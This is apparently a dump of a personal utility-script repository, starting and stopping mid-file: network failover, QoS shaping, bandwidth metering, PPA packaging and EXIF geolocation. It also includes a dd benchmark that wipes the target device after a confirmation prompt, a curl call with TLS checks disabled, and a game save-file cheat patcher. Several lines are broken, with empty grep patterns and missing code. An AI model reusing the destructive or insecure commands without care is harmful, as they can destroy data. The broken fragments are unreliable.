":" |awk '{print $1}'` 134 | for TESTIP in $TESTIPS ; do 135 | COUNT=$(($COUNT + 1)) 136 | ping -W 3 -I $IP -c 1 $TESTIP > /dev/null 2>&1 137 | if [ $? -ne 0 ]; then 138 | FAIL=$(($FAIL + 1)) 139 | fi 140 | done 141 | if [ $FAIL -eq $COUNT ]; then 142 | echo "[`date '+%H:%M:%S'` WARN] $iface is down!" 143 | if [ $STATE -ne 1 ]; then 144 | echo "Switching state $STATE -> 1" 145 | STATE=1 146 | fi 147 | DOWN="${DOWN} $IFINDEX" 148 | DOWNCOUNT=$(($DOWNCOUNT + 1)) 149 | fi 150 | IFINDEX=$(($IFINDEX + 1)) 151 | done 152 | 153 | if [ $DOWNCOUNT -eq 0 ]; then 154 | if [ $STATE -eq 1 ]; then 155 | echo 156 | echo "[`date '+%H:%M:%S'`] All links up and running :)" 157 | if [ $VERBOSE -eq 1 ]; then 158 | set -x 159 | ${routecmd} 160 | set +x 161 | echo 162 | else 163 | ${routecmd} 2>/dev/null 164 | fi 165 | STATE=0 166 | echo "Switching state 1 -> 0" 167 | fi 168 | # if no interface is down, go to the next cycle 169 | continue 170 | fi 171 | 172 | cmd="ip route replace default scope global" 173 | 174 | IFINDEX=1 175 | for iface in $WANIFACE ; do 176 | for lnkdwn in $DOWN ; do 177 | if [ $lnkdwn -ne $IFINDEX ]; then 178 | GW=$(getvalue $IFINDEX "$GATEWAYS") 179 | WT=$(getvalue $IFINDEX "$WEIGHTS") 180 | cmd="${cmd} nexthop via ${GW} dev ${iface} weight ${WT}" 181 | fi 182 | done 183 | IFINDEX=$(($IFINDEX + 1)) 184 | done 185 | 186 | if [ $VERBOSE -eq 1 ]; then 187 | set -x 188 | ${cmd} 189 | set +x 190 | echo 191 | else 192 | ${cmd} 2>/dev/null 193 | fi 194 | done 195 | -------------------------------------------------------------------------------- /box/mount-box.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # credentials are in /etc/davfs2/secrets 3 | # instructions (from http://benjaminkerensa.com/2011/10/27/how-to-mount-box-net-securely-on-ubuntu-11-10 ) 4 | # 5 | # sudo apt-get install davfs2 6 | # sudo echo "https://www.box.net/dav username password" >> /etc/davfs2/secrets 7 | # Access Box.net via Nautilus using WebDAV: 8 | # Just use Connect to Server to dav://www.box.net/dav and make sure to select Secure WebDAV. 9 | 10 | sudo mount -t davfs -o uid=pau -o gid=pau https://www.box.com/dav /media/box/ 11 | -------------------------------------------------------------------------------- /bwmeter/bwmeter.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | IFACE="eth0" 4 | SLEEP_T=20 5 | 6 | # Sample 1 7 | t1=`date +%s` 8 | ifconfig $IFACE > /tmp/sample1 9 | t2=`date +%s` 10 | 11 | sleep $SLEEP_T 12 | 13 | # Sample 2 14 | t3=`date +%s` 15 | ifconfig $IFACE > /tmp/sample2 16 | t4=`date +%s` 17 | 18 | td=$(( ( ($t4 - $t2) + ($t3 - $t1) ) / 2 )) 19 | 20 | # RX 21 | pre=`cat /tmp/sample1 |grep "RX bytes" |cut -f 2 -d ":" |cut -f 1 -d " "` 22 | post=`cat /tmp/sample2 |grep "RX bytes" |cut -f 2 -d ":" |cut -f 1 -d " "` 23 | calc="(${post} - ${pre})/${td}*8/1024" 24 | res=$((${calc})) 25 | res2=$(($res /1024)) 26 | echo "DOWN: ${res} kbit/s - ${res2} Mbps" 27 | 28 | # TX 29 | pre=`cat /tmp/sample1 |grep "TX bytes" |cut -f 3 -d ":" |cut -f 1 -d " "` 30 | post=`cat /tmp/sample2 |grep "TX bytes" |cut -f 3 -d ":" |cut -f 1 -d " "` 31 | calc="(${post} - ${pre})/${td}*8/1024" 32 | res=$((${calc})) 33 | res2=$(($res /1024)) 34 | echo "UP: ${res} kbit/s - ${res2} Mbps" 35 | 36 | rm /tmp/sample1 /tmp/sample2 37 | 38 | -------------------------------------------------------------------------------- /dd-optimal/ddopt.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # find optimal bs size for 'dd' command. 4 | # taken from http://serverfault.com/questions/147935/how-to-determine-the-best-byte-size-for-the-dd-command 5 | # 6 | 7 | if [ -z "$1" ]; then 8 | echo "Usage: $0 " 9 | echo "Example: $0 /dev/sdc" 10 | exit 1 11 | fi 12 | 13 | echo "!!! WARNING WARNING WARNING WARNING WARNING !!!" 14 | echo "This will completely WIPE the contents of $1" 15 | echo -n "Type 'yes' to continue: " 16 | read answer 17 | 18 | if [ "$answer" != "yes" ]; then 19 | echo "" 20 | exit 1 21 | fi 22 | 23 | echo "creating a temp file to work with" 24 | dd if=/dev/zero of=/var/tmp/infile count=1175000 25 | 26 | for bs in 1k 2k 4k 8k 16k 32k 64k 128k 256k 512k 1M 2M 4M 8M 27 | 28 | do 29 | echo 30 | echo 31 | echo "Testing block size = $bs" 32 | time sudo dd if=/var/tmp/infile of=$1 bs=$bs 33 | done 34 | rm /var/tmp/infile 35 | -------------------------------------------------------------------------------- /deb/debianize-ppa.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # script to build a debian package from a github tag, and upload it to launchpad 4 | # (c) 2011-2012 Pau Oliva Fora - pof[at]eslack(.)org 5 | 6 | #https://wiki.ubuntu.com/PackagingGuide/Basic#Building%20the%20Source%20Package 7 | #https://help.launchpad.net/Packaging/PPA/BuildingASourcePackage 8 | #https://help.launchpad.net/Packaging/PPA/Uploading 9 | 10 | PROGRAM="$1" 11 | VERSION="$2" 12 | PPANAME="$3" 13 | 14 | FOLDER="debianize-${PROGRAM}" 15 | PPA="ppa:poliva/$PPANAME" 16 | #PPA="ppa:poliva/lightum-mba" 17 | #PPA="ppa:poliva/pof" 18 | 19 | if [ -z $PPANAME ]; then 20 | echo "Usage: $0 " 21 | echo "examples: " 22 | echo " $0 lightum 1.6 lightum-mba" 23 | echo " $0 indicator-sysbat 1.0 pof" 24 | echo "" 25 | echo "will fetch tarball from https://github.com/poliva/{program}/tarball/v{version}" 26 | exit 1 27 | fi 28 | 29 | if [ ! -e ${FOLDER} ]; then 30 | echo "'${FOLDER}' doesnt exist!!" 31 | exit 1 32 | fi 33 | 34 | echo "Ready to upload ${PROGRAM}-${VERSION} to ubuntu ppa repo ${PPA}" 35 | echo "Make sure you have tagged version ${VERSION} on github" 36 | echo "Press any key to continue, or Ctrl+C to cancel now." 37 | read pause 38 | 39 | export DEBFULLNAME="Pau Oliva Fora (pof)" 40 | export DEBEMAIL="pau@eslack.org" 41 | 42 | cd ${FOLDER} 43 | wget https://github.com/poliva/${PROGRAM}/tarball/v${VERSION} 44 | mv v${VERSION} v${VERSION}.tar.gz 45 | tar zxvfp v${VERSION}.tar.gz 46 | mv poliva-${PROGRAM}-* ${PROGRAM}-${VERSION} 47 | 48 | if [ ! -e ${PROGRAM}-${VERSION} ]; then 49 | echo "'${FOLDER}/${PROGRAM}-${VERSION}' doesnt exist!!" 50 | exit 1 51 | fi 52 | 53 | tar cvfz ${PROGRAM}-${VERSION}.tar.gz ${PROGRAM}-${VERSION} 54 | cp ${PROGRAM}-${VERSION}.tar.gz ${PROGRAM}_${VERSION}.orig.tar.gz 55 | cd ${PROGRAM}-${VERSION} 56 | read -n 1 -r -p 'Press any key to update the changelog, remember to change the VERSION number in the first line!!. ' choice 57 | #rm debian/changelog 58 | #dch --create 59 | dch -i 60 | debuild -S 61 | UBU=`head -n1 debian/changelog |awk '{print $2}' |sed -e "s/(//g" -e "s/)//g"` 62 | # keep the local changelog file synced 63 | cp debian/changelog ~/Development/${PROGRAM}/debian/changelog 64 | cd .. 65 | lintian -Ivi ${PROGRAM}_${UBU}.dsc 66 | echo 67 | read -n 1 -r -p 'To upload your source package to ppa, press Y. To quit, press any other key. ' choice 68 | echo 69 | case "$choice" in 70 | [Yy]) ;; 71 | *) exit 1;; 72 | esac 73 | SOURCECHANGES=`ls -art ${PROGRAM}_${VERSION}*_source.changes |tail -n 1` 74 | dput ${PPA} ${SOURCECHANGES} 75 | -------------------------------------------------------------------------------- /dragracing/dragpatcher.php: -------------------------------------------------------------------------------- 1 | #!/usr/bin/php 2 | Respect Points increased to: 65535\n"; 12 | echo " > Money increased to: 16777215\n\n"; 13 | 14 | if (!is_numeric($rp) || !is_numeric($money)) { 15 | echo "USAGE: ".$argv[0]." [save.dat]\n\n"; 16 | echo "EXAMPLE: if you have 300 respect points and $15000\n"; 17 | echo "\t$ adb pull /data/data/com.creativemobile.DragRacing/files/save.dat\n"; 18 | echo "\t$ ".$argv[0]." 300 15000\n"; 19 | echo "\t$ adb push save-patched.dat /data/data/com.creativemobile.DragRacing/files/save.dat\n"; 20 | echo "\t$ adb push save-patched.dat /data/data/com.creativemobile.DragRacing/files/save2.dat\n\n"; 21 | exit; 22 | } 23 | 24 | // if no infile specified, use "save.dat" by default 25 | if ($infile=="") $infile="save.dat"; 26 | $in=file($infile) || die ("ERROR: Could not open '$infile'\n");; 27 | 28 | // convert respect points and money to its hex values 29 | $hrp=dechex($rp); 30 | $hmoney=dechex($money); 31 | 32 | // base64 decode the input file 33 | $input=$in[0]; 34 | $out=base64_decode($input); 35 | 36 | // make sure all bytes are represented with 2 ascii chars, add 0 at the begining otherwise 37 | if ((strlen($hrp) % 2) != 0) $hrp="0".$hrp; 38 | if ((strlen($hmoney) % 2) != 0) $hmoney="0".$hmoney; 39 | 40 | 41 | // print original file and find positions 42 | echo "\n==== ORIGINAL ==="; 43 | $countmoney=0; 44 | $countrp=0; 45 | $posmoney=0; 46 | $posrp=0; 47 | $n=0; 48 | for ($i=0;$i 155 | -------------------------------------------------------------------------------- /esnic/check-esnic.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ -z $1 ];then echo "Usage: $0 ";exit 1;fi 3 | res=$(curl --insecure -s "https://www.nic.es/sgnd/dominio/publicBuscarDominios.action" -d "tDominio.nombreDominio=${1}" |grep -A4 '' |head -n 5 |egrep -i "(dominio|reservado|disponible)" |tail -n 1 |rev |cut -f 2 -d \" |rev |sed -e "s/\t//g" -e "s/ //g") 4 | echo "$1 - $res" 5 | -------------------------------------------------------------------------------- /exif/exif2maps.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # get geolocation exif data from picture and generate a google maps link 3 | # (c) 2011 Pau Oliva - Licensed under GPLv3 4 | 5 | if [ ! -f $1 ]; then echo "Usage: $0 "; exit 1 ; fi 6 | which exif >/dev/null 7 | if [ $? != 0 ]; then echo "Please install exif package" ; exit 1 ; fi 8 | which bc >/dev/null 9 | if [ $? != 0 ]; then echo "Please install bc package" ; exit 1 ; fi 10 | 11 | TMP=`tempfile` 12 | exif -x $1 > $TMP 13 | 14 | # convert from deg/min/sec to decimal for Google 15 | strLatRef=`cat $TMP |grep "" |cut -f 2 -d ">" |cut -f 1 -d "<"` 16 | strLongRef=`cat $TMP |grep "" |cut -f 2 -d ">" |cut -f 1 -d "<"` 17 | aLat0=`cat $TMP |grep "" |cut -f 2 -d ">" |cut -f 1 -d "<" |cut -f 1 -d "," |sed -e "s/ //g"` 18 | aLat1=`cat $TMP |grep "" |cut -f 2 -d ">" |cut -f 1 -d "<" |cut -f 2 -d "," |sed -e "s/ //g"` 19 | aLat2=`cat $TMP |grep "" |cut -f 2 -d ">" |cut -f 1 -d "<" |cut -f 3 -d "," |sed -e "s/ //g"` 20 | aLong0=`cat $TMP |grep "" |cut -f 2 -d ">" |cut -f 1 -d "<" |cut -f 1 -d "," |sed -e "s/ //g"` 21 | aLong1=`cat $TMP |grep "" |cut -f 2 -d ">" |cut -f 1 -d "<" |cut -f 2 -d "," |sed -e "s/ //g"` 22 | aLong2=`cat $TMP |grep "" |cut -f 2 -d ">" |cut -f 1 -d "<" |cut -f 3 -d "," |sed -e "s/ //g"` 23 | rm $TMP 24 | 25 | if [ -z $strLatRef ] || [ -z $strLongRef ] || [ -z $aLat0 ] || [ -z $aLong0 ]; then 26 | echo "Not enough exif data on this picture" 27 | exit 1 28 | fi 29 | 30 | fLat=`echo "$aLat0 + ($aLat1/60) + ($aLat2/3600)" |bc -l` 31 | if [ "$strLatRef" == "S" ]; then 32 | fLat=`echo "$fLat * -1" |bc -l` 33 | fi 34 | fLat=`echo $fLat |cut -c 1-10` 35 | 36 | fLong=`echo "$aLong0 + ($aLong1/60) + ($aLong2/3600)" |bc -l` 37 | if [ "$strLongRef" == "W" ]; then 38 | fLong=`echo "$fLong * -1" |bc -l` 39 | fi 40 | fLong=`echo $fLong |cut -c 1-10` 41 | 42 | echo "http://maps.google.com/maps?q=$fLat,$fLong" 43 | -------------------------------------------------------------------------------- /expect/remote-ssh.expect: -------------------------------------------------------------------------------- 1 | #!/usr/bin/expect -f 2 | # (C) 2005 Pau Oliva - Licensed under GPLv2, for full terms see www.gnu.org 3 | set force_conservative 1 ;# set to 1 to force conservative mode even if 4 | ;# script wasn't run conservatively originally 5 | if {$force_conservative} { 6 | set send_slow {1 .001} 7 | proc send {ignore arg} { 8 | sleep .1 9 | exp_send -s -- $arg 10 | } 11 | } 12 | puts "\n" 13 | 14 | send_user "\n============================\n" 15 | send_user "$argv0 [lrange $argv 0 1]\n============================\n" 16 | spawn ssh -t -l root [lrange $argv 0 0] 17 | ##expect { 18 | # "continue connecting (yes/no)*" { 19 | # send -- "yes\r" 20 | # } 21 | #} 22 | #expect "assword:*" 23 | #send -- "PASSWORD\r" 24 | #expect "#*" 25 | #send -- "\r" 26 | expect "#*" 27 | send -- "command\r" 28 | 29 | expect "#*" 30 | send -- "exit\r" 31 | 32 | expect { 33 | timeout {exit} 34 | -gl "\\\[*]\$*" 35 | } 36 | puts "\n" 37 | exit 38 | -------------------------------------------------------------------------------- /keyboard/fixkeyboard.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # for some reason my usb keyboard misses the first 1 or 2 keystrokes after 3 | # when it resumes after being idle for a while. The bug is caused by usb 4 | # autosuspend, but i don't want to fully disable it on my laptop, so here's 5 | # the workaround to only disable autosuspend on the USB port where the 6 | # keyboard is connected. 7 | 8 | DEVICE="046a:0010" 9 | 10 | # make sure this is run as root 11 | uid=$(id -ur) 12 | if [ "$uid" != "0" ]; then 13 | echo "This script must be run as root" 14 | exit 1 15 | fi 16 | 17 | busnum=$(lsusb |grep "${DEVICE}" |cut -f 2 -d " ") 18 | devnum=$(lsusb |grep "${DEVICE}" |cut -f 4 -d " " |sed -e "s/://") 19 | 20 | if [ -z $devnum ]; then 21 | echo "Keyboard not found" 22 | exit 1 23 | fi 24 | 25 | for f in `ls /sys/bus/usb/devices/ |grep -v ":"` ; do 26 | BUSNUM=$(cat /sys/bus/usb/devices/$f/busnum) 27 | DEVNUM=$(cat /sys/bus/usb/devices/$f/devnum) 28 | if [ "$BUSNUM" -eq "$busnum" ] && [ "$DEVNUM" -eq "$devnum" ]; then 29 | break 30 | fi 31 | done 32 | 33 | echo "Disabling autosuspend on USB $BUSNUM:$DEVNUM, to reenable:" 34 | echo "echo 2 |sudo tee /sys/bus/usb/devices/$f/power/autosuspend" 35 | echo -1 > /sys/bus/usb/devices/$f/power/autosuspend 36 | -------------------------------------------------------------------------------- /latency/check-latency.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # check latency without using ping, we take the RTT of the worst hop 3 | 4 | ip=$1 5 | if [ -z ${ip} ]; then 6 | echo "Usage: `basename $0` " 7 | exit 1 8 | fi 9 | 10 | traceroute -n -q 1 -w 0.3 -N 1 -m 20 ${ip} |grep " ms$" |rev |cut -f 2 -d " " |rev |cut -f 1 -d "." |sort -nr |head -n 1 11 | -------------------------------------------------------------------------------- /latency/newqos: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | # Public interface 4 | EXT_IF="eth1" 5 | DOWNLINK="10800" # I have 12Mbps downlink 6 | UPLINK="900" # I have 1Mbps uplink 7 | VOIP="yes" # set to "yes" or "no" 8 | 9 | # high priority ports 10 | PRIOPORT="22 23 53 80 443" 11 | 12 | # low priority ports 13 | LIMITEDPORT="25 993 873" 14 | 15 | # list of hosts that always get high priority 16 | #PRIOHOST=`cat /etc/resolv.conf |grep "^nameserver" |cut -f 2 -d " "` 17 | PRIOHOST=`cat /etc/network/interfaces |grep "dns-nameservers" |cut -f 2- -d " "` 18 | PRIOHOST="$PRIOHOST 8.8.8.8 8.8.8.4" 19 | 20 | # list of host that always get low priority 21 | LIMITEDHOST="192.168.1.6" 22 | 23 | ########################################################### 24 | #### you don't need to modify anything below this line #### 25 | #### unless you know what you are doing #### 26 | ########################################################### 27 | 28 | DOWN_KBPS=$(( DOWNLINK )) 29 | UP_KBPS=$(( UPLINK )) 30 | 31 | ### here we're going to define how much bandwidth can get each class 32 | ### CLASS_RS == RESERVED Bandwidth (Can't be used by other classes) 33 | ### CLASS_RT == Real Time Bandwidth (Guaranteed for this class) 34 | ### CLASS_LS == Link Sharing Bandwidth (fairness) 35 | ### CLASS_UL == Upper Limit Bandwidth (The class can't take more bandwidth than this) 36 | ### RULE: RT <= LS <= UL 37 | 38 | ########### CLASS VOIP 39 | if [ "${VOIP}" == "yes" ]; then 40 | VOIP_RESERVED="128" 41 | VOIP_LS=$((50 * UP_KBPS / 100 )) 42 | VOIP_UL=$UP_KBPS 43 | VOIP_RT="160" 44 | AVAILABLE_UP_KBPS=$(( UP_KBPS - VOIP_RESERVED )) 45 | else 46 | AVAILABLE_UP_KBPS=$UP_KBPS 47 | fi 48 | 49 | ########### CLASS HIGHPRIO 50 | if [ "${VOIP}" == "yes" ]; then 51 | HIGHPRIO_RT="64" 52 | else 53 | HIGHPRIO_RT="128" 54 | fi 55 | HIGHPRIO_LS=$((55 * AVAILABLE_UP_KBPS / 100)) 56 | HIGHPRIO_UL=$AVAILABLE_UP_KBPS 57 | 58 | ########### CLASS BULK 59 | BULK_LS=$((30 * AVAILABLE_UP_KBPS / 100)) 60 | BULK_UL=$((AVAILABLE_UP_KBPS - HIGHPRIO_RT)) 61 | 62 | ########### CLASS LOWPRIO 63 | LOWPRIO_LS=$((5 * AVAILABLE_UP_KBPS / 100)) 64 | LOWPRIO_UL=$((70 * AVAILABLE_UP_KBPS / 100)) 65 | 66 | ### currently unused 67 | HIGHPRIO_RESERVED=0 68 | BULK_RESERVED=0 69 | LOWPRIO_RESERVED=0 70 | BULK_RT=0 71 | LOWPRIO_RT=0 72 | 73 | echo "UPLINK: ${UP_KBPS}kbps available" 74 | if [ "${VOIP}" == "yes" ]; then 75 | echo "GGPO: Reserved ${VOIP_RESERVED}kbit <= Guaranteed: ${VOIP_RT}kbit <= Shared: ${VOIP_LS}kbit <= Limit: ${VOIP_UL}kbit" 76 | fi 77 | echo "HIGHPRIO: Reserved ${HIGHPRIO_RESERVED}kbit <= Guaranteed: ${HIGHPRIO_RT}kbit <= Shared: ${HIGHPRIO_LS}kbit <= Limit: ${HIGHPRIO_UL}kbit" 78 | echo "BULK: Reserved ${BULK_RESERVED}kbit <= Guaranteed: ${BULK_RT}kbit <= Shared: ${BULK_LS}kbit <= Limit: ${BULK_UL}kbit" 79 | echo "LOWPRIO: Reserved ${LOWPRIO_RESERVED}kbit <= Guaranteed: ${LOWPRIO_RT}kbit <= Shared: ${LOWPRIO_LS}kbit <= Limit: ${LOWPRIO_UL}kbit" 80 | echo "DOWNLINK: ${DOWN_KBPS}kbit available" 81 | 82 | if [ "$1" = "status" ] 83 | then 84 | 85 | echo "---- qdisc parameters ----" 86 | tc -s -d qdisc ls dev ${EXT_IF} 87 | echo "---- Class parameters ----" 88 | tc -s -d class ls dev ${EXT_IF} 89 | echo "---- filter parameters ----" 90 | tc -s -d filter ls dev ${EXT_IF} 91 | 92 | echo "==== EXTERNAL DEVICE ====" 93 | tc -s qdisc ls dev ${EXT_IF} 94 | tc -s class ls dev ${EXT_IF} 95 | 96 | echo "===== IPTABLES ======" 97 | iptables -t mangle -L SET_TOS -v -x -n 2> /dev/null 98 | exit 99 | fi 100 | 101 | # clean existing down and uplink qdiscs, hide errors 102 | tc qdisc del dev ${EXT_IF} root 2> /dev/null > /dev/null 103 | tc qdisc del dev ${EXT_IF} ingress 2> /dev/null > /dev/null 104 | 105 | # flush tables 106 | iptables -t mangle -D INPUT -j SET_TOS 2>/dev/null 107 | iptables -t mangle -D FORWARD -j SET_TOS 2>/dev/null 108 | iptables -t mangle -D OUTPUT -j SET_TOS 2>/dev/null 109 | iptables -t mangle -F SET_TOS 2>/dev/null 110 | iptables -t mangle -X SET_TOS 2>/dev/null 111 | 112 | if [ "$1" = "stop" ] 113 | then 114 | exit 115 | fi 116 | 117 | # hfsc [ [ rt SC ] [ ls SC ] | [ sc SC ] ] [ ul SC ] 118 | # 119 | # SC := [ [ umax BYTE ] dmax SEC ] rate BPS 120 | # umax : maximum unit of work 121 | # dmax : maximum delay 122 | # rate : rate 123 | # 124 | # rt Realtime (guarrenteed) 125 | # ls Link sharing (fairness) 126 | # sc Single Curve (instead of specifying RT == LS) 127 | # ul Upper limit (shaping) 128 | # 129 | # rt <= ls <= ul 130 | 131 | ## NOTES 132 | # 1:10 --> super high speed (voip) --> 0x68 / 0xb8 [Mark: 1] DSCP for IAX/SIP/RTP 133 | # 1:20 --> high speed --> 0x10 [Mark: 2] TOS: Minimize-Delay 134 | # 1:30 --> bulk traffic --> unset [No Mark] TOS: Normal-Service 135 | # 1:40 --> limited --> 0x02 [Mark: 4] TOS: Minimize-Cost 136 | 137 | ###### uplink 138 | tc qdisc add dev ${EXT_IF} root handle 1: hfsc default 30 139 | tc class add dev ${EXT_IF} parent 1: classid 1:1 hfsc ls rate ${UP_KBPS}kbit ul rate ${UP_KBPS}kbit 140 | 141 | PARENT="1:1" 142 | 143 | if [ "${VOIP}" == "yes" ]; then 144 | # Voip class ( Minimum delay 128kbit guarranted) 145 | tc class add dev ${EXT_IF} parent ${PARENT} classid 1:10 hfsc rt umax 1500b dmax 20ms rate ${VOIP_RT}kbit ls rate ${VOIP_LS}kbit ul rate ${VOIP_UL}kbit 146 | # Limit the rest of the classes, to preserve 64 Kbit for VOIP 147 | tc class add dev ${EXT_IF} parent ${PARENT} classid 1:2 hfsc ls rate ${VOIP_LS}kbit ul rate ${AVAILABLE_UP_KBPS}kbit 148 | PARENT="1:2" 149 | fi 150 | 151 | # Standard low latency - 64kbit guarranteed. 152 | tc class add dev ${EXT_IF} parent ${PARENT} classid 1:20 hfsc rt umax 1500b dmax 50ms rate ${HIGHPRIO_RT}kbit ls rate ${HIGHPRIO_LS}kbit ul rate ${HIGHPRIO_UL}kbit 153 | # bulk & default class 1:30 154 | tc class add dev ${EXT_IF} parent ${PARENT} classid 1:30 hfsc ls rate ${BULK_LS}kbit ul rate ${BULK_UL}kbit 155 | 156 | # limited class 1:40 157 | tc class add dev ${EXT_IF} parent ${PARENT} classid 1:40 hfsc ls rate ${LOWPRIO_LS}kbit ul rate ${LOWPRIO_UL}kbit 158 | 159 | if [ "${VOIP}" == "yes" ]; then 160 | # Add packet limited queue for VOIP traffic. 161 | tc qdisc add dev ${EXT_IF} parent 1:10 handle 10: pfifo limit 10 162 | fi 163 | 164 | # Add fairness to all leaves 165 | tc qdisc add dev ${EXT_IF} parent 1:20 handle 20: sfq perturb 10 166 | tc qdisc add dev ${EXT_IF} parent 1:30 handle 30: sfq perturb 10 167 | tc qdisc add dev ${EXT_IF} parent 1:40 handle 40: sfq perturb 10 168 | 169 | #tc qdisc add dev ${EXT_IF} parent 1:20 handle 20: pfifo limit 10 170 | #tc qdisc add dev ${EXT_IF} parent 1:30 handle 30: pfifo limit 10 171 | #tc qdisc add dev ${EXT_IF} parent 1:40 handle 40: pfifo limit 10 172 | #tc qdisc add dev ${EXT_IF} parent 1:30 handle 30: sfq perturb 10 173 | #tc qdisc add dev ${EXT_IF} parent 1:40 handle 40: sfq perturb 10 174 | 175 | 176 | 177 | # Filter traffic into different classes. 178 | 179 | if [ "${VOIP}" == "yes" ]; then 180 | # VoIP traffic always get first in line. 181 | tc filter add dev ${EXT_IF} parent 1: prio 3 protocol ip u32 match ip tos 0x68 0xff flowid 1:10 182 | tc filter add dev ${EXT_IF} parent 1: prio 4 protocol ip u32 match ip tos 0xb8 0xff flowid 1:10 183 | fi 184 | 185 | # Now we set the filters so we can classify the packets with iptables 186 | tc filter add dev ${EXT_IF} parent 1: protocol ip prio 10 handle 1 fw classid 1:10 187 | tc filter add dev ${EXT_IF} parent 1: protocol ip prio 20 handle 2 fw classid 1:20 188 | tc filter add dev ${EXT_IF} parent 1: protocol ip prio 30 handle 3 fw classid 1:30 189 | tc filter add dev ${EXT_IF} parent 1: protocol ip prio 40 handle 4 fw classid 1:40 190 | 191 | 192 | # TOS Minimum Delay 193 | #tc filter add dev ${EXT_IF} parent 1: protocol ip prio 10 u32 match ip tos 0x10 0xff flowid 1:20 194 | # To speed up downloads while an upload is going on, put ACK packets in the interactive class: 195 | #tc filter add dev ${EXT_IF} parent 1: protocol ip prio 10 u32 match ip protocol 6 0xff match u8 0x10 0xff at nexthdr+13 match u16 0x0000 0xffc0 at 2 flowid 1:20 196 | 197 | # Place bulk traffic in low prio 198 | #tc filter add dev ${EXT_IF} parent 1: protocol ip prio 40 u32 match ip tos 0x02 0xff flowid 1:40 199 | 200 | # default 201 | #tc filter add dev ${EXT_IF} parent 1: protocol ip prio 30 u32 match ip dst 0.0.0.0/0 flowid 1:30 202 | 203 | ########## downlink ############# 204 | # slow downloads down to somewhat less than the real speed to prevent 205 | # queuing at our ISP. Tune to see how high you can set it. 206 | # ISPs tend to have *huge* queues to make sure big downloads are fast 207 | # 208 | # attach ingress policer: 209 | 210 | tc qdisc add dev ${EXT_IF} handle ffff: ingress 211 | 212 | # Add filters. the police continue, just passes the on the packet, 213 | # And only the last filter actually drops packets. 214 | 215 | # As we cannot do overall traffic shaping on incoming packets, this can make it worse for 216 | if [ "${VOIP}" == "yes" ]; then 217 | # Allow all voip traffic (Never drop it, as there is no retransmit.) 218 | tc filter add dev ${EXT_IF} parent ffff: protocol ip prio 10 u32 match ip tos 0x68 0xff police rate $((VOIP_RESERVED * 2))kbit buffer 10k continue flowid :1 219 | tc filter add dev ${EXT_IF} parent ffff: protocol ip prio 10 u32 match ip tos 0xb8 0xff police rate $((VOIP_RESERVED * 2))kbit buffer 10k continue flowid :1 220 | fi 221 | 222 | # Dont drop icmp packets, but only allow a very small rate to pass through. 223 | tc filter add dev ${EXT_IF} parent ffff: protocol ip prio 20 u32 match ip protocol 1 0xff police rate 2kbit buffer 1k continue flowid :1 224 | 225 | # Allow all ACKs, to avoid retransmits take up that much traffic 226 | tc filter add dev ${EXT_IF} parent ffff: protocol ip prio 30 u32 match ip protocol 6 0xff match u8 0x05 0x0f at 0 match u16 0x0000 0xffc0 at 2 police rate 2kbit buffer 1k continue flowid :1 227 | 228 | # filter *everything* to it (0.0.0.0/0), drop everything that's coming in too fast: 229 | tc filter add dev ${EXT_IF} parent ffff: protocol ip prio 40 u32 match ip src 0.0.0.0/0 police rate $((DOWN_KBPS))kbit mtu 1500 burst 10k drop flowid :1 230 | 231 | ## NOTES 232 | # 1:10 --> super high speed (voip) --> 0x68 / 0xb8 [Mark: 1] DSCP for IAX/SIP/RTP 233 | # 1:20 --> high speed --> 0x10 [Mark: 2] TOS: Minimize-Delay 234 | # 1:30 --> bulk traffic --> unset [No Mark] TOS: Normal-Service 235 | # 1:40 --> limited --> 0x02 [Mark: 4] TOS: Minimize-Cost 236 | 237 | ### Tos Priorities (highest to lowest) 238 | # 0x10 Minimize-Delay Interactive + Low Delay, highest prio 239 | # 0x08 Maximize-Throughput Interactive + Bulk 240 | # 0x00 Normal-Service Normal priority 241 | # 0x04 Maximize-Reliability Best Effort 242 | # 0x02 Minimize-Cost Minimum Cost 243 | 244 | 245 | iptables -t mangle -N SET_TOS 246 | 247 | if [ $VOIP == "yes" ]; then 248 | # # IAX (dscp 0x68) 249 | # echo "IAX" 250 | # iptables -t mangle -A SET_TOS -p udp -m udp --dport 4569 -j MARK --set-mark 1 251 | # #iptables -t mangle -A SET_TOS -p udp -m udp --dport 4569 -j DSCP --set-dscp 0x68 252 | # iptables -t mangle -A SET_TOS -p udp -m udp --dport 4569 -j DSCP --set-dscp-class ef 253 | # iptables -t mangle -A SET_TOS -p udp -m udp --sport 4569 -j MARK --set-mark 1 254 | # #iptables -t mangle -A SET_TOS -p udp -m udp --sport 4569 -j DSCP --set-dscp 0x68 255 | # iptables -t mangle -A SET_TOS -p udp -m udp --sport 4569 -j DSCP --set-dscp-class ef 256 | # # SIP (dscp 0x68) 257 | # echo "SIP" 258 | # iptables -t mangle -A SET_TOS -p udp -m udp --dport 5060 -j MARK --set-mark 1 259 | # #iptables -t mangle -A SET_TOS -p udp -m udp --dport 5060 -j DSCP --set-dscp 0x68 260 | # iptables -t mangle -A SET_TOS -p udp -m udp --dport 5060 -j DSCP --set-dscp-class ef 261 | # iptables -t mangle -A SET_TOS -p udp -m udp --sport 5060 -j MARK --set-mark 1 262 | # #iptables -t mangle -A SET_TOS -p udp -m udp --sport 5060 -j DSCP --set-dscp 0x68 263 | # iptables -t mangle -A SET_TOS -p udp -m udp --sport 5060 -j DSCP --set-dscp-class ef 264 | # # RTP (DSCP 0xb8) 265 | # echo "RTP" 266 | # iptables -t mangle -A SET_TOS -p udp -m udp --dport 10000:20000 -j MARK --set-mark 1 267 | # #iptables -t mangle -A SET_TOS -p udp -m udp --dport 10000:20000 -j DSCP --set-dscp 0xb8 268 | # iptables -t mangle -A SET_TOS -p udp -m udp --dport 10000:20000 -j DSCP --set-dscp-class ef 269 | # iptables -t mangle -A SET_TOS -p udp -m udp --sport 10000:20000 -j MARK --set-mark 1 270 | # #iptables -t mangle -A SET_TOS -p udp -m udp --sport 10000:20000 -j DSCP --set-dscp 0xb8 271 | # iptables -t mangle 